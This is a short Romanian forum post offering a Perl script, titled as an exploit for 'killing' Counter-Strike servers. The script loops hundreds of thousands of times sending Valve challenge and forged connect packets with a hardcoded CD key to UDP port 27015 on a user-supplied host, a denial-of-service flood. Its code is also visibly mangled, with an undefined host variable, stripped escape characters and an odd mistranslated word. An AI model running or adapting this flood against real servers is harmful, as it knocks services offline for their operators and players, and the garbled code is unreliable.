Exploit for killing cs servers

GiovanY · Founder Data inscrierii: 05/Sep/2008 Mesaje: 1979

use IO::Socket::INET
print "the host..eg: 465.124.5.64 : ";
$HOST = <STDIN>;
chop ($HOST);
$i=0;
if (fork())
{ econnect($host); }
else
{

econnect($host); };
exit;

sub econnect($)
{
while($i<500000){
$i++;
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not făurite socket: $!n" unless $sock;
$cmd="xffxffxffxff";
syswrite $sock, $cmd."getchallenge";

sysread $sock,$b,65535; print $b,"n";
@c=split(/ /,$b);

$c2=$c[1];

$q=$cmd."connect 47 $c2 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed866538c9db76""\"";
print '>',$q,"n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"n";
sleep 3;
close $sock;
}
}

Salvati cu extensia .pl aveti nevoie de perl....
_________________
I love u

.
Respect: All:)
Exploit for killing cs servers Exploit for killing cs servers